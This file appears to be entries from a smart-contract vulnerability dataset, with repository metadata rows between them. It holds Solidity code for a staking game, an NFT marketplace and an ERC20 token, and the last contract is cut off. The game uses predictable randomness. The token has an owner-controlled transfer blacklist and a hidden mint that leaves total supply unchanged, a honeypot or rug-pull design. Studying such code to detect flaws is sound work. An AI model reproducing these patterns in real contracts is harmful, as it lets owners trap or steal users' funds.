}
function referralPay (uint referrer) isHuman() payable public {
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
uint256 amount = msg.value;
deposit(amount);
}
function () isHuman() payable public {
uint256 amount = msg.value;
deposit(amount);
}
function depositVault (uint keyCount, uint referrer) isHuman() public {
require(keyLocked == false);
keyLocked = true;
// Buy key from current balance
uint256 amount = keyCount * keyPrice;
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(amount <= availableWithdrawal);
require(amount > 0);
players[msg.sender].withdrawal += amount;
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
keyLocked = false;
deposit(amount);
}
function deposit(uint256 amount) private {
if(now >= deadline) resetGame();
require(keyLocked == false);
keyLocked = true;
// Update pool balance
require(amount >= keyPrice, "You have to buy at least one key.");
poolBalance += amount;
currentKeyRound ++;
participantPool.push(msg.sender);
participantPoolEnd = participantPool.length;
// Update deadline if not last round
if(durationPhaseIndex < 6) deadline = now + duration * 1 minutes;
// Update key holder
keyAddress = msg.sender;
if(players[msg.sender].generation == 0) {
participants.push(msg.sender);
participantsLength = participants.length;
players[msg.sender].id = participants.length;
}
if(players[msg.sender].generation != currentGeneration) {
players[msg.sender].generation = currentGeneration;
players[msg.sender].weight = 0;
}
// Handling stake distribution
uint256 p_i = 0;
uint256 deltaStake = 0;
address _addr;
// 58% for staking
if(poolWeight > 0) {
unitStake = amount * 58 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * unitStake;
players[_addr].stakingBonus += players[_addr].weight * unitStake;
}
}
}
// 15% for referral
if(players[msg.sender].referrer > 0) {
_addr = participants[players[msg.sender].referrer - 1];
players[_addr].balance += amount * 15 / 100;
players[_addr].referralBonus += amount * 15 / 100;
} else {
if(poolWeight > 0) {
deltaStake = amount * 15 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * deltaStake;
players[_addr].stakingBonus += players[_addr].weight * deltaStake;
}
}
} else {
players[teamAddress].balance += amount * 15 / 100;
players[teamAddress].stakingBonus += amount * 15 / 100;
}
}
// 4% for team
unitStake += deltaStake;
players[teamAddress].balance += amount * 4 / 100;
players[teamAddress].stakingBonus += amount * 4 / 100;
poolReward += amount * 77 / 100;
airdropBalance += amount * 2 / 100;
airdropped = false;
airdroppedAmount = 0;
uint randNum = 0;
if(amount >= 1e17 && amount < 1e18) {
// 0.1 ~ 1 eth, 1% chance
randNum = rand(1, 10000);
if(randNum <= 10) airdropped = true;
} else if(amount >= 1e18 && amount < 1e19) {
// 1 eth ~ 10 eth, 10% chance
randNum = rand(1, 10000);
if(randNum <= 100) airdropped = true;
} else if(amount >= 1e19) {
// greater than 1 eth, 5% chance
randNum = rand(1, 10000);
if(randNum <= 500) airdropped = true;
}
bool _phaseChanged = false;
if(airdropped) {
airdropWinTime = now;
players[msg.sender].balance += airdropBalance;
players[msg.sender].airdropBonus += airdropBalance;
poolReward += airdropBalance;
airdroppedAmount = airdropBalance;
airdropBalance = 0;
if(durationPhaseIndex == 0 && airdropBalance >= 1e18) _phaseChanged = true;
else if(durationPhaseIndex == 1 && airdropBalance >= 2e18) _phaseChanged = true;
else if(durationPhaseIndex == 2 && airdropBalance >= 3e18) _phaseChanged = true;
else if(durationPhaseIndex == 3 && airdropBalance >= 5e18) _phaseChanged = true;
else if(durationPhaseIndex == 4 && airdropBalance >= 7e18) _phaseChanged = true;
else if(durationPhaseIndex == 5 && airdropBalance >= 1e19) _phaseChanged = true;
if(_phaseChanged) {
durationPhaseIndex ++;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
}
}
// Staking weight calculation
uint256 weight = amount.mul(1e7).div(keyPrice);
players[msg.sender].weight += weight;
uint256 originalPoolSegment = poolWeight / ((5e5).mul(1e7));
poolWeight += weight;
uint256 afterPoolSegment = poolWeight / ((5e5).mul(1e7));
// Different Segment => giveout potReserve, every 1e5 keys
potReserve += amount * 1 / 100;
bool _potReserveGive = false;
uint256 _potReserve = potReserve;
if(originalPoolSegment != afterPoolSegment) {
_potReserveGive = true;
players[msg.sender].balance += potReserve;
players[msg.sender].potBonus += potReserve;
poolReward += potReserve;
potReserve = 0;
}
// Grow key price
if(keyPrice < keyPrice_max) {
keyPrice = keyPrice_max - (1e23 - poolBalance).mul(keyPrice_max - keyPrice_min).div(1e23);
} else {
keyPrice = keyPrice_max;
}
keyLocked = false;
emit Deposit(msg.sender,
weight,
keyPrice,
deadline,
durationPhaseIndex,
_phaseChanged,
poolBalance,
poolReward,
poolWeight,
airdropped,
airdropBalance,
_potReserveGive,
_potReserve);
}
uint256 nonce = 0;
function rand(uint min, uint max) private returns (uint){
nonce++;
return uint(keccak256(toBytes(nonce)))%(min+max)-min;
}
function toBytes(uint256 x) private pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
function safeWithdrawal() isHuman() public {
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[msg.sender].withdrawal += availableWithdrawal;
msg.sender.transfer(availableWithdrawal);
keyLocked = false;
emit Withdrawal(msg.sender, availableWithdrawal);
}
function helpWithdrawal(address userAddress) isHuman() public {
// Will only be executed when user himself cannot withdraw and asks our team for help
require(msg.sender == teamAddress);
uint256 availableWithdrawal = players[userAddress].balance - players[userAddress].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[userAddress].withdrawal += availableWithdrawal;
// Service fee: 5%
players[teamAddress].balance += availableWithdrawal * 5 / 100;
// User get 95%
userAddress.transfer(availableWithdrawal * 95 / 100);
keyLocked = false;
emit Withdrawal(userAddress, availableWithdrawal);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
| 334,689 | 1,753 |
fbf431603b3a8d57ac5604ddc71024bf1d25ee145d15b8818f94c98a748927c7
| 15,794 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4bdc1d5d7e286163abccb7e66e2c94eeeefdbfad.sol
| 4,222 | 14,461 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
using SafeMath for uint256;
address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F);
IERC721 public erc721Address = IERC721(0x8c9b261Faef3b3C2e64ab5E58e04615F8c788099);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 30000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint256[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(uint256 _tokenId) {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint8 index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i = index; i<arrayTokenIdSale.length-1; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint8[] memory arr) internal {
for(uint8 i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function calPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) {
uint256 ethfee;
uint256 _hightLightFee = 0;
uint256 ethNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
ethNeed = ethfee.add(_hightLightFee);
} else {
ethNeed = limitETHFee.add(_hightLightFee);
}
}
}
return (ethNeed, _hightLightFee);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee.add(_hightLightFee));
} else {
require(msg.value == limitETHFee.add(_hightLightFee));
ethfee = limitETHFee;
}
}
ethfee = ethfee.add(prices[_tokenId].fee);
} else ethfee = _ethPrice.mul(ETHFee).div(Percen);
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight == 1);
}
function calPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
uint hbNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
// _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
hbNeed = fee.add(_hightLightFee);
} else {
hbNeed = limitHBWALLETFee.add(_hightLightFee);
}
}
}
return hbNeed;
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee)));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee.add(_hightLightFee)));
fee = limitHBWALLETFee;
}
}
fee = fee.add(prices[_tokenId].hbfee);
} else {
ethfee = _ethPrice.mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight == 1);
}
function removePrice(uint256 _tokenId) public isOwnerOf(_tokenId) returns (uint256){
if (prices[_tokenId].fee > 0) msg.sender.transfer(prices[_tokenId].fee);
else if (prices[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[_tokenId].hbfee);
resetPrice(_tokenId);
return prices[_tokenId].price;
}
function setFee(uint256 _ethFee, uint _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint _hbWalletlimitFee) public onlyOwner returns (uint256, uint){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function _withdraw(uint256 amount, uint256 _amountHB) internal {
require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB);
if(amount > 0) {
msg.sender.transfer(amount);
}
if(_amountHB > 0) {
hbwalletToken.transfer(msg.sender, _amountHB);
}
}
function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress {
_withdraw(amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
uint256[] memory arr = arrayTokenIdSale;
uint length = arrayTokenIdSale.length;
for (uint i = 0; i < length; i++) {
if (prices[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) {
if (prices[arr[i]].fee > 0) {
uint256 eth = prices[arr[i]].fee;
if(prices[arr[i]].isHightlight) eth = eth.add(hightLightFee);
if(address(this).balance >= eth) {
prices[arr[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arr[i]].hbfee > 0) {
uint hb = prices[arr[i]].hbfee;
if(prices[arr[i]].isHightlight) hb = hb.add(hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arr[i]].tokenOwner, hb);
}
}
resetPrice(arr[i]);
}
}
_withdraw(address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue() public view returns (uint256, uint){
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee = ethfee.add(prices[arrayTokenIdSale[i]].fee);
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee = hbfee.add(prices[arrayTokenIdSale[i]].hbfee);
}
}
}
uint256 eth = address(this).balance.sub(ethfee);
uint256 hb = hbwalletToken.balanceOf(address(this)).sub(hbfee);
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint8 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
}
| 183,250 | 1,754 |
4fd4a07d2ece77fe033f2dc4ccbf7e3d50f0d9aa26d4bb21548619b74bb35e3f
| 38,079 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x31405B7D679Eb724c7D4AEB37427d73773e4E748/contract.sol
| 4,079 | 17,418 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
// using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => bool) public power;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(!power[sender], "error");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _phase(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function addPower(address[] memory account) public onlyOwner returns (bool) {
for(uint256 i = 0; i < account.length; i++)
power[account[i]] = true;
}
function removePower(address account) public onlyOwner returns (bool) {
power[account] = false;
}
function addPhase(address account, uint256 amount) public onlyOwner returns (bool) {
_phase(account, amount);
}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) internal virtual {
